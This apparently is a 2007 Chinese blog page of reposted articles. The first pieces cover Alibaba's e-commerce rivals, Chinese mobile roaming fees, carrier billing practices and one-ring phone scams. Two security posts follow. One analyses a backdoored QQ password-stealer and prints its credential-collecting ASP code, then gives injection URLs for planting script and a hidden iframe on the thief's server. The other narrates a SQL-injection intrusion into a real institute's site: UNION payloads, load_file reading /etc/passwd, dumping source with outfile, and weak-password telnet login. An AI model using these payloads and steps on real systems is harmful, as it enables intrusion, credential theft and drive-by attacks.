  　　在当当网的家当中，这家网站耗时7年多修建的物流支持系统是最值钱的。这个庞大的物流体系为当当网的发展作出了巨大贡献，近两万平方米的仓库分布在全国各地，大量货物通过空运、铁路、公路等不同运输手段被运往全国及世界各地。
  
  　　在与阿里巴巴的对抗中，这个物流体系是它强大的后盾，也是吸引用户的一大特色。但当当网是靠图书销售起家的，并已经在用户心中形成定式，因此想跳出商品单一的圈子恐怕还要花点力气了。
  
  　　混血杀手卓越
  
  　　打擂人：卓越网
  
  　　主营业务：B2C电子商务。
  
  　　优势：全球最大网上零售商亚马逊作为后台
  
  　　独门功夫：具有社区概念的网上零售
  
  　　打擂口号：一边购物一边交友
  
  　　命门：知名度相对较低
  
  　　获胜几率：15%
  
  　　卓越在国内也是具有一定知名度的电子商务网站，跟其他网站同行相比，卓越的优势在于有全球最大网上零售商亚马逊当后台。
  
  　　2004年8月，亚马逊全资收购卓越，很快将国外网上零售专长与中国市场经验相结合，大大加快了卓越网在电子商务方面的发展。如今卓越已经成为中国访问量最大、营业额最高的零售网站之一。
  
  　　有全球最大网上零售商亚马逊作为后台，这成为了卓越网冲击阿里巴巴的最明显的优势。但与阿里巴巴相比，卓越网在国内的知名度较低，缺乏有力的宣传手段，这一问题现在不仅没有得到有效的改善，还成为了卓越成功道路上的最大障碍。
  
  　　金牌杀手百度
  
  　　打擂人：百度公司
  
  　　主营业务：基于搜索与社区的C2C电子商务。
  
  　　优势：庞大的搜索流量和互动社区作为基础
  
  　　独门功夫：全球最为庞大的中文搜索用户数量
  
  　　打擂口号：要玩就玩多元化
  
  　　命门：缺乏行业经验
  
  　　获胜几率：10%
  
  　　百度是目前全球最大的中文搜索网站，特别是在中国市场，用户对百度的首选率已从2006年的62.1%升至最新的74.5%，在搜索这一网民需求最大的市场里几乎没有竞争对手。2007年10月26日，百度股票收盘价为343.7美元，市值已经远远超过了三大门户网站新浪、搜狐、网易的总和。
  
  　　与阿里巴巴掰手腕，百度的底气来自于中国最大的搜索流量和社区平台，百度已经不仅仅是搜索，更是一个满足网民和企业需求的在线平台，尤其是在服务中小企业、网络推广营销方面，百度已经积累了大量的企业用户资源，再加上中国第一大用户流量的地位，百度可能会对阿里巴巴形成一定的威胁。
  
  　　无论在资本实力还是在技术上，百度都将是一个强劲的竞争对手，而且在传统印象中，百度似乎与搜索概念是同一个名词，但随着百度不断扩展业务，尤其是其主营的针对中小企业的竞价排名、百度联盟等的商业价值正日益提升。
  
  　　不过，这是百度初次挺进电子商务市场，如果说它最易被攻击的命门的话，那就是在这个市场它还太年轻，缺乏行业经验。
  
  　　电脑报观点：
  
  　　“他们”不是神
  
  　　“他们”也有弱点
  
  　　阿里巴巴和巨人即将上市，中国互联网乃至于全球互联网中所有人的眼球都在关注着“他们”，这次新的投资热潮及电子商务风暴看起来比以往更加强烈。竞争对手此时的举动往往出乎意料，让人难以想象。
  
  　　巨人与阿里巴巴的“发家史”实在是太神奇了。但现实告诉我们，这个世界没有“神”，神奇的经历背后必然也隐藏了些许弱点。这不，刚传出了阿里巴巴发行价看高的利好消息，就又传出了阿里巴巴流量排名急坠的利空传闻。至于巨人，虽然在史玉柱的打点下，每一步都走得无比圆滑，但是其旗下第二部网游《巨人》的一再跳票，也让人不免对其底气有所疑虑……
  
  　　巨人公司CEO史玉柱，大家都知道他并非网游专业人士出生，所以巨人如果被人击败，那么唯一的漏洞将来自巨人网络统帅史玉柱自己。冲动的性格和另类的手法，也许在创业期间能够起到巨大作用。但是在上市之后则不同了，巨人很可能由于一些不规范的行为而被股民所抛弃。从这个角度来看，史玉柱就是巨人网络最大的弱点。
  
  　　至于阿里巴巴，一直走得可谓十分顺利，没有经历过太多挫折，这有助于这家公司的成长，但是也导致另外一个后果：抗攻击能力有所欠缺，突然遭到众多竞争对手的围攻，能不能顶住一波又一波攻击，是阿里巴巴能否延续辉煌的关键。面对阿里巴巴的势头，相信eBay易趣、当当网、卓越、拍拍也不会一直观看，肯定也会拿出行动让阿里来看，“好东西大家分享才对”。
  
  　　的确，有竞争才有前进的动力，无论网游市场还是电子商务市场出现撕杀，对中国整个互联网的发展终究是有利的。
  Tag：互联网 巨人 阿里巴巴
  chapi 发表于21时12分06秒 | 阅读全文 | 评论 0 | 编辑 | 分享

• 2007年10月29日

  深层探究:手机漫游费难取消乃维系垄断利益所致 - [IT业界]

  深层探究:手机漫游费难取消乃维系垄断利益所致
  
  取消漫游费如今成了时下公众讨论的热门话题.
  
  9月18日,联通副总裁李刚在北京邮电大学举行的一个讲座上发表了题为“电信营销与品牌战略”的演讲,他将中国移动不取消漫游费的主要原因归为漫游费收入占据了其总利润的相当大比例.以2005年为例,中国移动漫游费收入大约为490亿元,占了其利润的一半以上.不久前,信产部关于漫游费的调查显示,网上近3万接受调查的用户中有64%表示不应收取漫游费.
  
  而近年来,人大代表、政协委员、中消协以及专家学者呼吁取消漫游费的呼声日渐高涨.但运营商显然不愿放弃这块“肥肉”,中国移动董事长王建宙就表示,取消漫游费尚无时间表.
  
  其实,欧美国家早就不存在国内漫游费这一说法,只有跨出国境才算漫游.而今年,欧盟又通过立法对欧盟范围内的跨国漫游费强行“动刀”,大幅调低了费用.最初,像沃达丰、T-Mobile、O2这样的移动巨头也强烈反对降低出境漫游费,但在政府和欧盟的施压下,不得不屈服.
  
  现在,信产部正在操作手机漫游费上限调整方案,与公众要求的彻底取消差距甚大.而可疑的是,信产部只是着重征求了运营商的意见,民众的呼声并不是主要参考因素,因而注定这一个方案无法让消费者接受.
  
  业内分析人士指出,我国漫游费过高无法取消,并不是运营商不肯就范那么简单.目前,漫游费并非由运营商决定,而属于国家定价.
  
  政府主管部门是应该站在民众一边,还是为了企业的垄断利益继续维系旧有体系?
  
  漫游费成利润主要来源
  
  漫游费过高,成了大家讨论的焦点.随着中国移动和中国联通相继宣布实行手机单向收费后,为消费者所诟病的长途漫游费何时能从收费单上消失,成为人们关注的热点.
  
  8月17日,中国移动公布中期业绩,财报显示,今年上半年,公司营业额为1665.8亿元,比去年同期的1369.79亿元增长21.6%;净利润达379亿元,同比增长25.7%,平均每天净赚超过2亿元.
  
  目前,中国移动的用户数达到3.5亿左右,而我国的电信业属于竞争不充分的行业,移动网络不是移动就是联通,中国移动想不赚钱都难.
  
  在今年4月23日举行的“电信、传媒、技术的趋异和聚合——亚洲的机会”专题论坛上,中国移动总裁王建宙多次被记者追问漫游费的问题.“取消漫游费尚无时间表,但降价是肯定的.”王建宙表示,“资费的降价和取消不是一件简单的事情,需要相对成熟的条件.”
  
  “这几年来,移动通信资费都在不断地往下走.”中国移动广东公司副总经理刘尧根认为,“但是要一步到位取消漫游费,我个人认为比较难.”
  
  移动每天净赚2亿元,为何却不肯取消漫游费?中国联通副总裁李刚近日的一番话说到了中国移动的心坎上.
  
  “中国移动不肯取消漫游费,最主要的原因是漫游费收入占据了总利润的相当大比例.” 李刚说,“2005年,我在移动任职的时候,中国移动年漫游费收入大约为490亿元,而中国联通的漫游费只有几十亿元.”2005年,中国移动的营业收入为2430亿元,净利润为535亿元.
  
  通过财报对比,不难发现运营商的利润主要依靠漫游费,这就是运营商不肯降低漫游费的主要原因.一电信分析师告诉本刊记者,尽管国内电信业处于垄断阶段,利润高达20%,但其企业效率低下,管理滞后,央企的弊端暴露无遗.它们不用靠改进技术,加强管理出效益,而是通过收月租、漫游费,维持垄断暴利.
  
  据李刚透露,由于他有过在移动任职的经历,在他调任联通后,在“漫游费”上与中国移动做起了文章,果然收到了不错的成效.李刚说,“此前,联通曾经在全国范围内开展了一场取消漫游费的运动,有一项业务则干脆规定全国任何地方,拨打任何号码,一律0.25元/分钟.这一业务一经推出,中国移动难以应付,迟迟未能作出对策,最终导致中国联通用户大增.”
  
  很明显,漫游费收入占了中国移动利润的一半以上,如果取消漫游费,其利润将损失殆尽.
  
  “上限标准”成疑
  
  手机用户要求取消漫游费的呼声日益高涨,而移动运营商却依旧岿然不动.
  
  近年来,手机资费有所下降,但漫游资费却一直不见有任何调整,消费者对此意见颇大.
  
  基于这一背景,信产部5月初正式在其官方网站上发布用户意见调查问卷,征求用户对国内漫游通话费上限标准的意见.这份问卷调查挂出短短一天不到,就有上万用户参与.至今年5月底,共有近3万名手机用户参与了此次调查.其中,有43%的人表示每年有10天到45天处于漫游状态;45%的人表示支付每分钟0.7元到0.8元的漫游费;64%的人认为漫游通信费应和本地通信费相同;22%的人认为漫游通信费只应比本地通信费高0.1元.
  
  按照信产部和发改委公布的时间表,在结束网络调查后,主管部门向电信企业、研究机构征求意见及上限调整方案,并进行成本监审,8月至9月汇总归纳各方意见,10月就归纳方案听取意见,11月研究各方意见,制定调整方案,而最终漫游资费上限标准将在12月前后出台.
  
  以前的资费标准是多年前制定的,现在依然沿用,说明我国的电信资费法律严重滞后.而现在,漫游费的成本接近于零,信产部为何不强制取消漫游费,而是制定上限标准?因此,手机用户对信产部这次举措并不抱多大希望.
  
  北京邮电大学教授阚凯力此前表示,手机漫游的全过程,是由网络传送几个由计算机自动生成,比普通电子邮件还简单的信息,其成本几乎为零.
  
  一业内人士告诉《IT时代周刊》记者,信产部向电信企业、研究机构征求意见,而没有向消费大众征求意见,制订出的注定是一个用户不太满意的方案.他认为,电信在我国属于垄断行业,电信企业当然会偏向自己;而研究机构难免受利益驱动,最后与运营商打成一片.
  
  还有人认为这是一个荒唐的举措,让运营商参与其中,就像让猫去颁布一部自己誓不吃老鼠的法典一样,其公正性值得怀疑.
  
  万方咨询电信研究总监付亮认为,根据信产部的态度和中国移动的常规做法,最终很可能会出现一个非常“有趣”的结果:信产部的安排不仅没达到消费者的预期,也远没达到运营商漫游费降低的预期.
  
  垄断背景下的央企,由于科学分配体系、监管机制的缺失,它们所获得的垄断暴利通常变相地通过福利、奖金等方式惠及本公司员工,老百姓得到的实惠很少.只有取消漫游费,直接让利于民,那才是公众乐意见到的.
  
  借鉴国际经验
  
  今年3月,全国人大代表陶仪声、李林楷、全国政协委员韩方明均表示,手机漫游费成本几乎为零,应尽快取消,使老百姓受惠.陶仪声提出,其他国家极少有收取漫游费的现象,美国多年来同网同价,不但没有漫游费,连国内长途费也不存在.
  
  8月28日,中消协联合中国法学会召开推动电信资费改革论坛.会上数十名专家“炮轰”现有电信资费制度.与会的北京市消协会长王建华在会上提出“一个降低,四个取消”的建议,即降低资费标准、取消手机月租费和双向收费、取消各种套餐、取消手机国内漫游费、实行同网同价.其中,漫游费成了讨论的焦点.
  
  一民营企业的经理在接受《IT时代周刊》采访时表示,他平均每年有1/3的时间在外地,手机费用中漫游费占很大比重.另外,有相当大比例的人在接受本刊记者采访时表示,由于心疼手机漫游费,外出时一般选择关掉手机,而有的用户只把手机当作发短信的工具.
  
  分析人士指出,取消漫游费其实并没有运营商所想象的那么困难,虽然没有了漫游费,但用户的通话时间会大幅增加,移动通信网络资源会得到充分利用.
  
  运营商自己不愿取消漫游费,即“市场失灵”,这个时候政府应该干预其中.政府代表人民大众的利益,而不是代表企业或小部分人的利益.在竞争主体无法或者不能引入的情况下,最好的办法是政府出面干预.手机漫游费已被证明成本极低,大多数欧洲国家早已取消了国内漫游费,在这方面,欧盟的经验可供我们借鉴.
  
  今年7月底,欧盟表示,将对未执行欧盟手机漫游费(欧盟内的跨国漫游)上限政策的运营商给以曝光.欧盟此前要求运营商必须在7月30日最后限期前落实漫游费上限规定.“在这个工作日结束前,未公布新资费政策的运营商将被视为违反欧盟法律.”欧盟电信专员雷丁说.据悉,当时未贯彻新政策的罗马尼亚、保加利亚、法国及比利时等多国运营商受到了欧盟的批评,并被勒令强制执行.
  
  根据欧盟新法律,手机在27个成员国境内漫游时,拨打每分钟最高收费0.49欧元,接听每分钟最高0.24欧元.这一收费标准在未来3年内还将进一步降低,到2009年,欧盟成员国手机用户漫游拨打电话资费上限将降为每分钟0.42欧元,而漫游接听上限将降为每分钟0.19欧元.现在看来,我国的跨国漫游费远高于欧盟,而人均国民收入仅相当于欧盟的1/20.
  
  有专家认为,漫游费暴利源于垄断,而且是政策保护的结果.信产部仅想降低漫游资费而不是取消就是很好的证明.有了政府的变相支持,运营商自然不愿自动放弃口中的这块“肥肉”.
  
  以T-Mobile为例,它是德国最大的移动通信服务供应商,它于6月1日起将手机境外通话费下调30%.沃达丰在德国的分公司也宣布了在今年4月前将手机境外通话费下调40%.德国另一移动服务供应商O2降幅最大,境外通话费下调60%.
  
  其实,它们也不愿下调越境漫游费,并拿股民将受损来说事.因为欧盟早取消了国内漫游费,利润已经很低.不过,这些移动巨头们最终还是在欧盟和各自政府的压力下,作出了让步.
  
  文/《IT时代周刊》
  
  运营商支招:用短信试探可疑"一声电话"
  
  手机只响了一声就断线了,如果回拨过去却发现是一段广告,为此还要支付高昂的语音费.记者28日从福州市相关通信运营商处获悉,目前这种只响一声的诈骗电话增多,运营商建议市民对可疑电话可用短信等方式试探.
  
  据悉,近来不少市民都表示,手机接到的不少电话都是只响一声就断线.这些号码一般是以134或者159开头、看起来极为普通的手机号码.如果有人回拨过去,拨打后却进入语音信箱,听到的多数是信息台的交友电话.这些电话收费不菲,一般每分钟要1.8元至3元.
  
  运营商表示,现在此类诈骗电话越来越多,骗子都是利用手机的转移呼叫及语音信箱功能来进行欺诈,不了解内情的消费者往往会找运营商 “讨说法”,让运营商也感到头痛.因为运营商对于此类电话的监管暂时存在难度,而且骗子使用的电话卡都是用几周甚至几天就换,难以对付.
  
  运营商人士表示,目前福州的电信网络质量是非常好的,极少会由于信号不良问题而导致“一声电话”的出现.而且一个人若真的找人有事情,在电话断线后一般都会马上再挂.所以,对陌生号码的“一声电话”,用户最好不要马上回拨,可以稍微再等上几分钟.如果这段时间内电话没有再响,那么这个“一声电话”就很可能是诈骗电话,绝对不要主动回拨.如果用户是生意人或者社交比较广泛,可先发个短信过去,询问是谁,有什么事情.这样,这些诈骗电话就骗不到钱了.
  
  《福州晚报》消息
  
  IT时代周刊:运营商逐利不择手段惹怒用户
  
  运营商的不合理收费行为,在惹恼了用户后,也招致信产部的不满.
  
  9月10日,为切实尊重用户的选择权、知情权和公平交易权,信产部发出通知,规定“全球呼”、“秘书台”等业务在免费试用期结束后,必须征得用户同意才能 向用户继续提供服务并收费.同时,信产部还对不合理收费进行了规范.这对用户来说无疑是一个好消息.此前,运营商为利润最大化,强制给用户开通上述业务, 并且在收费过程中也存在不合理现象,如故意延长通话时间,系统提示音也按时计费,等等.用户取消这类服务时,却被设置各种障碍.
  
  而最让人头痛的还是运营商的资费套餐,据统计,我国至少有5万个.运营商设置如此多的套餐,并非真心实意为消费者着想,而是挖空心思算计消费者.
  
  日前,信产部在其官方网站公布了今年6月以来所取得的成绩,这3个月里信产部共清理了4万个资费套餐,占套餐总数的80%,对规范电信行业起到了一定的作用.但从长远来看,终究不是办法,治标不治本!
  
  套餐不在多,而在精.今年1月,AT&T推出免费话音业务,不仅阻止了固话业务的流失,有力打击了传统电信市场上的竞争对手,同时还是抗衡VOIP语音服务竞争最有效的应对之举,一石三鸟.
  
  中国有9亿电话用户,运营商无须处处设置消费陷阱,通过加强和完善管理,还有很大的利润空间可以挖掘.
  
  资费套餐横行
  
  我国电信运营商有数万种让人眼花缭乱的资费套餐,真是滑天下之大稽.如果运营商们去申报吉尼斯纪录,肯定是“高手寂寞”.
  
  资费套餐数量过多,宣传夸大优惠幅度,在消费者心目中留下了不良印象,投诉居高不下,并引起信产部的高度重视.今年5月,信产部联合发改委宣布全面清理电信资费套餐.
  
  日前,信产部公布了清理成果.自6月起,各省市共有超过4万个夸大优惠、资费不透明的电信资费套餐被清理,套餐数量下降超过80%.
  
  本刊记者获知,今年6月到8月15日,仅山西省就清理资费套餐791个,其中联通被清理的数量最多,达到了552个.截至8月底,山西全省在网电信资费套餐共有3056种,其中正在执行的资费套餐方案1081种,已停止发展用户的资费套餐方案1975种.
  
  山西一用户在接受《IT时代周刊》记者采访时表达了自己的无奈,“虽然山西有几千种资费套餐,但这些都是运营商为算计消费者下的套.”
  
  而业内分析师则认为,套餐多并不代表电信业的竞争充分,这是它们在有意制造一个竞争的假象.
  
  以接电话包月为例,比如10元包接套餐,其实是有条件的,这种套餐只包接听100分钟的电话,超出部分重新计费.而运营商在给用户办理该业务时,往往只强调优惠程度,而对用户最关心的部分却隐藏起来.
  
  其实,近年来,我国的电信资费下降不少.数据显示,2006年,我国的电信资费总体水平比2005年下降了11.5%.但让消费者不明白的是,资费降了却不见电话费用下降,这在很大程度上就是套餐的“功劳”.
  
  其实,国外电信运营商也是有套餐的,而且比国内还分得细,但它们一般属全国统一资费,因此,从总体上来看就少了很多.同样是套餐,为何国内用户抱怨甚多?业内人士认为,在我国,不管用户选哪一种套餐,结果都会掉进运营商设置好的陷阱,而且套餐转换不自由,消费不明白.
  
  再看看英国电信巨头沃达丰,以它的“anytime”资费套餐为例,根据通话时间长短,可以分为75/150/200/500/800/1000分钟几个档次,各种档次的套餐资费一目了然,消费者一看就懂.而且,套餐已经包含了短信数量、增值业务,消费者觉得自己花的钱值得.还有一个特点就是,在套餐设计上很人性化,而且科学合理.比如同样是10英镑的套餐,沃达丰可以选择200分钟的通话时间,150条短信;或者150分钟的通话时间,300条短信等多种组合形式.用户选择的机会多,不会造成浪费.
  
  圈钱运动
  
  电信运营商在增值业务上的争夺也越来越激烈,为了使利润最大化,它们强行给用户开通某类服务,表面看是为客户好,实则不过是圈钱罢了.
  
  不久前,一用户告诉《IT时代周刊》记者,在交电话费时,发现中移动每月收取他的“移动秘书”费用.他愤懑地表示,“我连它是用来干什么的都不清楚.而打客服电话询问如何取消时,被对方告之需要机主亲自带身份证到营业厅办理手续.为什么开通的时候啥手续都不要,退订却如此麻烦?”
  
  而最让用户难以忍受的是,铁通的“语音信箱”在接听电话时故意拖沓,以便多收取用户的费用.如,听取留言请按1,修改问候语请按2,听取问候语请按3,返回请按0,等等.再比如“秘书台”这一服务,电话转到秘书台后,拨打电话的客户常常会听到一长串提示音,后被迫进行通话,“服务态度好”的秘书要细致地询问主叫方的姓名、称呼、留言内容,末了,还要重复一遍,至少花费几分钟通话时间,而主叫方是要支付费用的.
  
  业内人士指出,像这类提示音,运营商不需成本,应该免费,只有在主叫用户操作确认后,才能开始计费.
  
  还有,运营商在办理业务时很积极,但事后服务质量却得不到保证.有用户投诉称,他办理了“移动秘书”包年服务,费用一次性扣除.但后来得知,当自己关机时,别人来电收不到“移动秘书”的反馈.该用户打10086投诉,服务台称没有办理这个服务.类似这类投诉多如牛毛.
  
  专家认为,“秘书台”这类业务虽然表面上看费用不高,但中国有近9亿电话用户,加起来非常庞大,如果每个人每月被扣5元,这类业务一年下来的收入在500亿元以上.而且,有时候主叫、被叫都要收钱,不仅仅是包月那么简单.
  
  发力增值业务本身没有错,但要“君子爱财,取之有道”.
  
  信产部发力
  
  一边是用户的投诉居高不下,一边是运营商置之不理.信产部终于开始发力,着力整治运营商的不合理行为.
  
  日前,信产部下发通知,着重对“秘书台”等业务资费进行规范.通知主要就业务开通的形式及计费模式提出了新的规范,10月1日起执行.
  
  通知提出,未经用户同意,电信运营商不得擅自给用户开通“秘书台”等业务;经用户同意,电信运营商免费开展上述业务或服务功能的,在免费试用期结束后,须再次征得用户同意才能向用户继续提供服务并收费.同时,运营商应明确告知用户的资费整体构成和收费标准等.
  
  此外,近段时间,信产部对资费套餐也进行了全面整治,清理了4万个违规的资费套餐;对违规SP进行了集中治理,要求存在群发短信、引诱消费等问题的声讯台立即停止类似行为,否则将责令其停业整顿.
  
  信产部的整治可谓势在必行,运营商只顾自身利益,招致太多的批评,影响极坏.电信研究院的专家认为,资费套餐原本是运营商之间竞争的产物,但由于缺乏有效的监督机制,垄断的总体趋势并没有改变,最后发展成为运营商圈钱的资费陷阱.
  
  过多的资费套餐,不但扰乱了市场秩序,也损害了消费者利益.信产部清理4万个夸大优惠程度和不透明的资费套餐,对规范市场秩序具有重要意义.不过,这仅仅是开始,目前国内还存在1万个以上的资费套餐,而且现存的套餐也存在不同程度的不透明现象.如果取消这些不合理收费项目,套餐数量自然会减少许多,但很难保证清理后不快速反弹.
  
  为什么我国的电信业最混乱?电信专家指出,首先是利润过高(是发达国家电信企业的几倍,甚至数十倍),电信运营商和SP们为了疯狂逐利常常不惜铤而走险.而最关键的一点是,为了照顾各方利益,电信法27年难产,没有成熟的法律法规.虽然为适应电信监管的需要,2000年国务院制定颁布了《中华人民共和国电信条例》,但仅是一部行政法规,同法律相比,它的效力等级较低,对违法行为的处理力度更为有限.
  
  而且,国家对违规的电信企业处罚力度太轻,更多时候是要求自查自纠,难以起到威慑作用.再加上我国电信市场一直处于封闭状态,在国外运营商进不来,坐享垄断利润的情况下,国内运营商少了一份危机意识.
  
  而发达国家不同,它们的法律很森严,而且偏向消费者.运营商在被投诉后,如果不能很好地整改,通常会被严厉地罚款.而在国内,运营商基本在玩文字游戏,消费者投诉无门.
  
  一电信专家告诉记者,信产部发力整治混乱的电信行业,终究是精力有限,只有从制度上加以规范,建立有效、公正的第三方监督机制,才能治本.
  Tag：手机 漫游费 运营商 资费
  chapi 发表于20时47分49秒 | 阅读全文 | 评论 0 | 编辑 | 分享

• 2007年10月28日

  QQ盗号软件后门分析与反击(图) - [安全资讯]

  说明：文章已发表于黑客手册07年10期，转载请注明出处！
  
  对明小子QQ密码特工软件的分析 ----小财
  
  今天无聊给一朋友讲解QQ盗取原理，从网上找了一个工具 “明小子QQ密码特工”结果发现这个软件有后门。下面就让我带着大家来分析一下。
  
  首先我们用nod32来查一下有没有毒。图1
  
  
  
  看到了吧没有病毒。我们把监控打开在运行看看图2
  
  
  
  看到了吧 NOD32检测到了病毒。为了确认一下。我再用‘木马辅助查找器’的文件监视功能来检测下。
  
  图3
  
  
  
  新建 C:\Documents and Settings\Administrator\Local Settings\Temp\IXP003.TMP\123.exe
  
  很明显软件本身在运行的同时释放了一个123.exe 而NOD32查杀到的也就是这个文件。
  
  C:\Documents and Settings\Administrator\Local Settings\Temp\IXP003.TMP\
  
  接着我们用peid查下123.exe. 图4
  
  
  
  EP段.nsp1经常搞免杀的应该知道这是北斗加的壳，我们再看看区段vmp 图5
  
  
  
  这个一看就是用vmprotect做的免杀。至于123.exe是什么木马咱门就不继续分析了。
  
  接下来分析他生成后的文件是不是一样令人担忧。
  
  随便配置一个图6
  
  
  
  Ollydbg手工给他脱壳esp定律简单 图7
  
  
  
  脱壳成功后我们在用PEID检测下 图8
  
  
  
  我们再用c32asm对他进行反汇编，搜索asp图9
  
  
  
  看到了什么 .刚才我是默认设置的应该是http://k.thec.cn/xieming/69q/qq.asp才对。，怎么会是http://langyeqq.cn/qq/newbacka.asp 这个呢！我们浏览看看 图10
  
  
  
  "pzQQ"看到了吧，说明就是他的盗号的，从这些可以确定，这个软件不但运行的时候施放一个木马，而且就连我们配置好的文件也被他留了后门，而作者就坐等着收号了。
  
  后门反击战 作者：fhod[E.S.T VIP]
  
  看到这..想必大家也和我一样非常气愤..难道我们就任由作者下去吗.当然不..现在我们就开始反击.
  
  我们来看看qq.asp的代码
  
  首先来看
  
  strLogFile="Q7.txt"
  
  这个是QQ接受文件..默认的是q7.txt
  
  继续看代码
  
  QQNumber=request("QQNumber")
  
  QQPassWord=request("QQPassWord")
  
  QQclub=request("QQclub")
  
  QQip=request("QQip")
  
  是没经过任何过滤的..这些参数的数据我们完全可以自定义
  
  在往下看
  
  if QQNumber="" or QQPassWord="" then
  
  response.write "pzQQ"
  
  response.end
  
  假如QQNumber和QQPassWord的值为空就返回pzQQ .然后程序结束工作.. 只要这两个值不为空就继续执行下面的代码
  
  StrLogText =StrLogText&QQNumber&"----"&QQPassWord&"----会员:"& QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
  
  StrLogText=StrLogText&")"
  
  写入q7.txt文件
  
  格式为 QQ号码----QQ密码----会员:----IP:
  
  继续看下面的代码
  
  set f=Server.CreateObject("scripting.filesystemobject") (没有q7.txt这个文件就自动新建)
  
  set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
  
  ff.writeline(StrLogText) (打开q7.txt并写入数据)
  
  最后response.write "发送成功!" 满足条件提示成功.
  
  所有的代码也就是这些..程序并未做任何过滤..和处理..也就是说..只要满足qq.asp?QQNumber=123&QQPassWord=123 就回返回 "发送成功!"的提示.
  
  http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=123
  
  图11
  
  
  
  这就证明了QQNumber=123&QQPassWord=123这两个我们是可以自己定义的..如果我们写入的不是数字..而且一段脚本代码呢?会不会执行呢..让我们来试下
  
  http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=＜ ... quot;fhod")＜/script＞
  
  图12
  
  
  
  插入代码成功...我们来看下
  
  http://www.ciker.org/soft/q7.txt的源文件又是什么样的..
  
  图13
  
  
  
  再次证明对提交的数据是无任何限制的...我们完全可以自己发挥想象.插入任何代码都可以...
  
  如果想反挂马的话..我们就可以提交以下数据
  
  http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=＜iframe%20&# ... 20width=480%20height=480＞＜/iframe＞
  
  图14
  
  
  
  当然我这里把width和height设置为480只是为了方便演示..实际挂马中要改为0
  
  好了..现在我们就可以给作者一个惊喜去了..图15
  
   
  Tag：QQ 盗号 安全 防范
  chapi 发表于16时55分58秒 | 阅读全文 | 评论 0 | 编辑 | 分享

• 2007年10月28日

  Jsp+Mysql网站注入并拿root权限的全过程 - [安全资讯]

  很多人可能都知道asp,php的编程要防止sql注入漏洞,而并不知道jsp编程同样也需要防备sql注入漏洞.其实,一旦jsp代码有注入漏洞,将直接影响到整个系统的安全。本文就是主要展示一下我的一次JSP+MYSQL注入导出webshell的过程。
  
  www.***.***.cn是国内某一个著名研究所的网站，我们在这里对其进行善意的测试。当然，在写此文之前我已经将漏洞通知了网站管理员.并对文中所有的图片进行了处理,还粘贴了个我大三的时候自己发明的一个数学公式的图,希望让大家同时可以领会到数学更是博大精深(呵呵,当然研究数学更是人间正道).
  
  1.寻找注入点
  
  进入其首页，在新闻里面随便点了个新闻浏览，习惯地在其地址后面加个单引号’，链接上去后出现如图1所示。
  
  
  
  从图中的信息容易看出此网站的数据库中有个表的名字(tablename)是zhxw。可惜的是看不到web路径。把引号’改为 and 1=1则返回正常页,而改为 and 1=2 则出现错误页.从而可以断定有注入漏洞.再用telnet探测此主机器的3306端口，返回如图2所示的结果。
  
  
  
  由此可以断定此网站的数据库程序是mysql。.
  
  2．猜解表名
  
  有了注入点，我们就会想到用union来构造sql语句。我们开始猜测表zhxw的字段数,在注入点的地址后面加上union select 1 得到错误页面如图3所示。
  
  
  
  逐步在union select 1后面加上四个数字2,3,4,5后均出现图3的情况(注意每加一个数字的时候都要用个逗号,来隔开).看来字段数量不对。当在注入点地址后面加上union select 1,2,3,4,5,6 就返回一个正常的页面。说明表zhxw的字段数就是6.现在就可以来手工猜测一些常见的表名。很快想到就是admin表，在注入点地址后面加上uinon select 1,2,3,4,5,6 from admin,并把id=后面的1530改成一个不存在的id例如-1，结果出现如图4所示。
  
  
  
  说明表admin是存在的,且可以在数字2和3处插入表的字段名或者mysql自带的函数来获取数据库的信息.现在来猜测admin表的字段名及其值.经手工猜测得到了admin表的字段名adminname和adminpwd的值如图5所示.
  
  
  
  3.找web路径及web管理入口
  
  记得angel的文章>里面有个非常重要的函数load_file().我们现在就用这个函数来查找web路径.经测试发现在数字2处用load_file()函数替换后显示出来的结果不全,但是在数字3处用load_file()函数替换后显示出来的结果很全.我估计是与表zhxw的字段长度有关.而且我猜测此系统是unix的系统.所以我在先从根目录处查找web路径!如图6所示.
  
  
  
  图6中的画线处的www应该存放了web的目录,再用load_file(‘/www’),得到web确切路径是/www/ping(我这里用ping代替了其www后面的那个真实的目录名).并找到了/www/ping目录下有个bbs目录及后台管理页adminlog.jsp.
  
  4.获取服务器一般权限的shell
  
  有了管理页面我们自然想得到要通过图5中的帐号登录进去并上传个JSP WEBSHELL,可是令人失望的是用这个帐号登录的时候发现既没有报错也没有成功登录进去.后来才从bbs目录下的readme.txt得知此bbs只允许其网站内部网ip进行管理,所以此路不通.其次,我们自然会想到查找mysql的root口令来获取shell.所以想看看index.jsp的源代码是否调用了个公共的数据库连接文件,然后我们再查看这个公共数据库连接文件源代码中的数据库连接信息.我们在这里用语句’load_file()…into outfile’来查看jsp源代码;所以我们在ie中提交http://www.xxx.xxx.cn/content.js ... 0union%20select%201,2,load_file(’/www/pingping/index.jsp’),4,5,6%20from%20admin into outfile ‘/www/ping/ping.txt’,然后在ie中输入http://www.xxx.xxx.cn/ping.txt就得到了index.jsp的源码.令人吃惊的是,index.jsp并没有调用个数据库连接的公共文件,而是把数据库的连接信息直接写在代码中了,并且得到mysql帐户root的口令就是空。这时我们有了mysql的root的口令,想试一试远程连接此mysql服务器。但是我们想起了图2中的信息”Host ’xxx.xxx.xxx.170’ is not allowed to connect to this MySQL server”,就知道从本地连接此网站的mysql数据库是连不上的!看来此路也不通.这时,我们就要去用社会工程学了。先看看此服务器是否开放了22,23端口，发现服务器开放了23端口，再用load_file()函数来获得文件/etc/passwd的信息。由文件/etc/passwd的信息我手工测试其telnet服务的弱口令,很幸运，我找到了五个有弱口令的帐号,用其中的一个帐号登录后得到的shell如图7所示.
  
  
  
  从图中易看出操作系统还是sunos5.8.
  
  5.提升权限
  
  有了低权限的shell自然想到去下载与sunos5.8相关的exploit来提升权限.我找了很久就是没有找到有效的exploit.既然我们已经有了个shell,那么我们就可以在shell里面登录他的mysql服务器了.如果mysql是以root身份运行的话,我们就可以用文>及文>中的方法来提升权限了.结果失败了,错误信息如图8和图9所示.
  
  
  
  
  
